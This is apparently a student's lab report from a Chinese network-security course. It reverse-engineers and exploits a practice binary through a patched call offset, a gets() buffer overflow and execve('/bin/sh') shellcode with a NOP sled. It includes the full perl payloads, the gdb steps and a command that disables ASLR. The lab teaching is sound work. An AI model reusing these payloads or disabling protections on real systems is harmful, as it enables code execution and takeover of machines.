20242313曾海鹏网络攻防实验1报告
实 验 报 告
课程名称:网络与系统攻防技术 |
实验序号:实验一 |
实验名称:逆向破解与BOF |
学号:20242313 |
姓名:曾海鹏 |
指导老师:王志强 |
必修/选修:必修 |
实验日期:2026年9月30日 |
一、基础知识
本次实验用到的基础知识总结如下:
1. 常用汇编指令机器码
NOP(空指令):CPU什么也不做,顺序执行下一条指令,机器码为 90。在shellcode中常作为"滑行区",只要返回地址落到任意一个nop上,就会一路滑到shellcode。
JNE(不等则跳转):机器码 75;JE(相等则跳转):机器码 74。
JMP(无条件跳转):段内近跳转机器码 E9,后面跟4字节偏移。
CMP(比较):做减法但不保存结果,只影响标志位,供条件跳转判断。
CALL指令:机器码 E8,后面跟4字节补码偏移。CPU执行call时,EIP已经指向下一条指令,实际跳转目标 = 下条指令地址 + 补码偏移。这是任务一改call目标的核心原理。
2. 反汇编与十六进制编辑
objdump -d 文件名:把ELF可执行文件的机器码反汇编成汇编指令,用来找函数地址和call指令。
vi + xxd:在vi里用 :%!xxd 切到十六进制模式,改完后 :%!xxd -r 切回二进制再保存。注意xxd按每2字节一组显示,所以 e8 d7 在界面上可能显示成 f0e8 d7ff 这种分组,搜索时要按分组后的实际字节搜。
3. 缓冲区溢出(BOF)原理
函数调用时栈上依次压入:函数参数、返回地址(eip)、保存的ebp,然后是局部变量缓冲区。foo函数用gets()读入字符串,gets不检查长度,当输入超过缓冲区大小(本例28字节)时,多余字符会依次覆盖保存的ebp和返回地址。我们只要把返回地址改成我们想跳的地址,程序就会跳到那里执行。
x86是小端字节序,所以内存地址 0x0804847d 在输入时要写成 \x7d\x84\x04\x08。
4. Shellcode与防御
shellcode就是一段机器指令,最初用来弹一个shell(execve("/bin/sh")),现在泛指注入运行的任意代码。本实验用的25字节shellcode通过int 0x80调用系统调用11号execve。
防御技术:栈保护(Canary)在返回地址前放一个随机数,被改就崩溃;NX/DEP把栈标记为不可执行;ASLR让栈和代码段每次加载地址随机,攻击者猜不到shellcode在哪。本实验为了学原理,把这些都关掉了。
二、实验内容与方案
实践对象是一个名为pwn1的32位Linux ELF可执行文件,里面有main、foo、getShell三个函数。main调用foo,foo用gets()回显用户输入,存在缓冲区溢出漏洞;getShell会弹出一个shell但正常不被调用。
实验环境:Kali Linux虚拟机(主机名zenghaipeng),工具用了objdump反汇编、gdb调试、vi+xxd十六进制编辑、perl构造二进制payload。pwn1是32位ELF(e_machine=0x3)。
三个任务,层层递进,对应现实里三种攻击场景:
(1)直接改文件:十六进制编辑器改pwn1的机器指令,把main里call foo改成call getShell——对应"不碰输入,纯改文件劫持执行流"。
(2)BOF覆盖返回地址:利用foo的溢出漏洞,构造输入字符串覆盖返回地址,让它跳去getShell——对应"通过输入构造攻击参数"。
(3)注入shellcode:关掉栈不可执行和ASLR,往栈上注入自己写的机器指令并执行——对应"运行任意代码"。
三、实验过程
3.1 环境准备
在Kali虚拟机中,先把主机名改成自己姓名拼音:hostname zenghaipeng,新终端左上角显示 kali@zenghaipeng 即成功。
同学发的pwn1.zip解压后得到pwn1,把它拷到家目录并改名,文件名带上学号:
cp pwn1 ~/pwn20242313zenghaipeng && chmod +x ~/pwn20242313zenghaipeng
先正常跑一下 ./pwn20242313zenghaipeng,输入什么就回显什么,确认文件没问题。

3.2 任务一:修改call指令,直接跳getShell
反汇编找关键地址:
objdump -d pwn20242313zenghaipeng | more
看到三个关键函数:
0804847d <getShell>: ← 目标函数地址
08048491 <foo>:
080484af <main>:
80484b5: e8 d7 ff ff ff call 8048491 <foo> ← 要改这行
80484ba: b8 00 00 00 00 mov $0x0,%eax ← call的下条指令地址




原理:call机器码e8后面跟的是4字节补码偏移,CPU执行时EIP已经指向下条指令80484ba,跳转目标 = 80484ba + 偏移。现在偏移是d7ffffff(补码-41),80484ba-41=8048491正好是foo。
想跳getShell(804847d),新偏移 = 804847d - 80484ba = -61,补码就是c3ffffff。所以只要把文件里的 d7 改成 c3。
复制一份来改:cp pwn20242313zenghaipeng pwn20242313-1,然后 vi pwn20242313-1:
1) 按ESC,:%!xxd 切到十六进制模式
2) 搜索 /d7ff (注意:xxd按2字节分组,e8和d7被拆开了,搜/e8d7搜不到,必须搜/d7ff)
3) 找到后把光标移到 d7 上,按r,输入 c3
4) :%!xxd -r 切回二进制
5) :wq! 保存(普通:wq报E453只读,要加感叹号强制写)
验证:objdump -d pwn20242313-1 | more,main里那行变成了 call 804847d <getShell>,说明改对了。
运行 ./pwn20242313-1,直接出现shell提示符#,输入ls能列文件,任务一完成。

3.3 任务二:BOF覆盖返回地址跳getShell
重新复制原文件:cp pwn20242313zenghaipeng pwn20242313-2。用gdb调试,先确认输入的第几个字符会盖到返回地址。
gdb pwn20242313-2,输入:
r(run),输入 1111111122222222333333334444444455555555
程序段错误,info r eip 显示 eip = 0x35353535(字符5的ASCII),说明第33~36个字符盖到了返回地址。

再跑一次,输入 ...4444444412345678,info r eip 显示 eip = 0x34333231,正好是"1234"倒过来(小端序)。确认:第33~36字节就是返回地址位置。

getShell地址是0x0804847d,小端序写成 \x7d\x84\x04\x08。用perl构造payload(键盘打不出\x7d这种字节):
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
xxd input 检查,最后一行应该是 7d84 0408 0a。
注入:(cat input; cat) | ./pwn20242313-2,回显一堆字符后直接拿到shell,输入ls列出文件,任务二完成。

3.4 任务三:注入自己的shellcode
复制原文件:cp pwn20242313zenghaipeng pwn20242313-33。
先关防护:
echo 0 > /proc/sys/kernel/randomize_va_space # 关ASLR地址随机化
more /proc/sys/kernel/randomize_va_space # 确认输出0
栈可执行性:本想用execstack -s,但Kali源里没有这个包。用Python读ELF的PT_GNU_STACK段发现p_flags=0x7(RWX),说明这个程序栈本来就是可执行的,不需要再设。

payload布局用RNS方式(32个A填到返回地址 + 返回地址 + nop滑行区 + shellcode):
shellcode用标准的25字节execve("/bin/sh"):
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
先用占位地址\x01\x02\x03\x04构造payload跑起来,再另开终端gdb attach上去找shellcode真实地址:
(cat input_shellcode; cat) | ./pwn20242313-33 # 卡住等gets
ps -ef | grep pwn20242313-33 # 找PID
gdb pwn20242313-33 → attach PID → break *0x080484ae(foo的ret)→ c
回原终端按一下回车,断点命中后 info r esp,再 x/16x $esp
看到栈顶[esp]=0x04030201(占位返回地址),紧接着[esp+4]就是0x90909090(nop滑行区),由此定位shellcode地址。




踩坑:第一次测完直接把地址填进去跑,段错误。发现gdb里直接run < 文件 测出来的栈地址,和实际piped运行差了0x20字节(gdb本身占了点栈);而且即使关了ASLR,栈地址每次也会浮动0x10左右。解决办法是把nop滑行区加长到200个,返回地址指向滑行区中间,这样不管栈偏一点,都能滑到shellcode。
最终payload:32个A + \x80\xcf\xff\xff(0xffffcf80,滑行区中间)+ 200个\x90 + shellcode + \x0a:
perl -e 'print "A" x 32;print "\x80\xcf\xff\xff";print "\x90" x 200;print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a"' > input_shellcode
xxd input_shellcode 开头能看到4141...然后80cf ffff,后面一大片9090 9090。

注入:(cat input_shellcode; cat) | ./pwn20242313-33,回显乱码后直接拿到shell,输入ls列出文件,任务三完成!

四、问题及解决方案
问题1:vi里输入/e8d7搜索报"找不到"。
解决方案:xxd是按每2字节一组显示的,e8和d7被拆到了不同的组里(界面上显示成 f0e8 d7ff),所以连起来搜e8d7搜不到。改成搜/d7ff就能精确定位到call指令的偏移字节。
问题2:vi里:wq保存报E453 "readonly option is set"。
解决方案:这个文件是从共享目录拷过来的,可能带了只读属性。用:wq!强制写入即可。
问题3:gdb里直接 run < input_test 测出来的shellcode地址,填进去跑就段错误。
解决方案:gdb直接启动程序时,gdb自己会往栈上放东西,导致栈比正常piped运行低了0x20字节。必须用gdb attach挂在一个已经通过管道正常跑起来的进程上测地址,那才是真实运行时的栈地址。
问题4:用测出来的地址填payload跑还是段错误。
解决方案:即使关了ASLR,每次运行栈地址还是会浮动十几个字节,固定地址对不上。于是把nop滑行区从6个加长到200个,返回地址指向滑行区中间0xffffcf80,这样栈上下浮动一点都能滑到shellcode,一次成功。
问题5:execstack装不上。
解决方案:Kali软件源里没有execstack这个包。查了一下pwn1这个ELF的PT_GNU_STACK段p_flags=0x7(RWX),栈本来就标了可执行,不需要再execstack -s。
五、学习感悟
这次实验从改一个字节到注入一段自己的代码,层层递进,做完之后对"程序是怎么跑起来的"这件事理解具体了很多。以前只在课本上听过缓冲区溢出,真的用gdb看到eip被我们输入的字符覆盖成0x35353535的时候,才直观感受到栈溢出到底是怎么回事——原来函数返回地址就在缓冲区上面隔着28个字节,多敲几个键就能改CPU下一条要执行的指令。
任务一改call偏移的时候,一开始不明白为什么e8后面跟的不是目标地址而是个负数补码,自己拿80484ba加了一下d7ffffff对上foo地址才想通:call是相对跳转,存的是相对下条指令的偏移。任务三最磨人,gdb attach定位地址、第一次段错误、发现gdb里测的地址和真实运行差了0x20、再到栈地址浮动要用nop滑行区兜底,来回调了好几次。也算是明白为什么书上说nop滑行区是"着陆区"——猜地址不需要百分百准,落到任意一个nop上就行。
另外一个感受是,真实世界里这些攻击之所以难成功,是因为现代系统一层一层加了防护:Canary拦栈溢出、NX让栈上的代码跑不了、ASLR让你猜不到地址。本实验是把这些全关了才打得通,这也反过来让我理解了为什么写程序要检查边界、为什么栈不该可执行。以后自己写代码,碰到gets这种不检查长度的函数会多留个心眼。
参考资料
- [0x11 逆向与Bof基础 - 电子科技大学网络攻防实验指导](https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x12_MAL_Exp1逆向与Bof基础.md)
- [《缓冲区溢出攻击原理与防御》](https://www.cnblogs.com/skyme/archive/2011/01/07/1929505.html)
- [Linux execve系统调用与shellcode编写](https://www.exploit-db.com/shellcodes)
- [gdb调试32位程序常用命令](https://visualgdb.com/gdbreference/commands/)

浙公网安备 33010602011771号